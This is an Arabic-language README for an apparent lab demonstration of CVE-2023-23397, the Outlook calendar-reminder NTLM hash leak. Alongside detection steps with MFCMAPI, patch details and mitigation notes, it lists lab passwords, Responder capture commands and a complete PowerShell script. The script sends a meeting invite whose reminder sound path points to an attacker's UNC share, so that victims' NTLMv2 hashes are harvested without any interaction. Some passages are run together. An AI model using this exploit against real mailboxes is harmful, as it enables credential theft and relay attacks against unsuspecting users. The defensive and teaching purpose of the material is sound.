
عرض توضيحي لثغرة تصعيد الامتيازات CVE-2023-23397 في Outlook
يعرض هذا المشروع اكتشاف واستغلال وتخفيف CVE-2023-23397، وهي ثغرة حرجة من نوع zero-click NTLM relay في Microsoft Outlook لنظام Windows. يتم استغلالها عبر دعوات التقويم، مما يسمح للمهاجمين بالتقاط تجزئات NTLMv2 بدون أي تفاعل من المستخدم.
🛡️ درجة CVSS: 9.8 (حرجة)
🖥️ الإصدارات المتأثرة: Outlook 2013، 2016، 2019، Microsoft 365 (قبل تصحيح 14 مارس 2023)
يمكن تكوين تذكيرات تقويم Outlook لتشغيل أصوات مخصصة عبر خاصية MAPI PidLidReminderFileParameter. يفشل Outlook في التحقق من مسارات UNC، مما يسمح بطلبات SMB عن بُعد عند تشغيل التذكيرات.
\\attacker-ip\share\sound.wav
يؤدي هذا إلى إرسال تجزئات NTLMv2 إلى خوادم يتحكم بها المهاجم، والتي يمكن بعد ذلك:
استخدم MFCMAPI لفحص عناصر التقويم والتحقق من وجود قيم ضارة في PidLidReminderFileParameter (علامة MAPI 0x851F001F).
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F لعرض مسارات ملفات التذكيرقم بتثبيت تصحيح 14 مارس 2023 (مثل KB5002044). يقدم التصحيح:
IsFileZoneLocalIntranetOrTrusted() للتحقق من صحة مسارات ملفات التذكيرنتيجة الاختبار:
سيسجل Outlook معرف الحدث 1008 ويمنع الوصول إلى مسارات SMB غير الموثوقة.
192.168.1.0/24)📂 النهج المُعد مسبقًا: OutlookMitigation.ipsec
| النظام | اسم المستخدم | كلمة المرور |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| حساب البريد | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
تأكد من أن Kali والجهاز الضحية على نفس الشبكة.
التثبيت:
الإعداد:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
سيقوم Responder بالتقاط تجزئة NTLMv2 من نظام الضحية.
PidLidReminderFileParameter يحتوي على مسار UNC.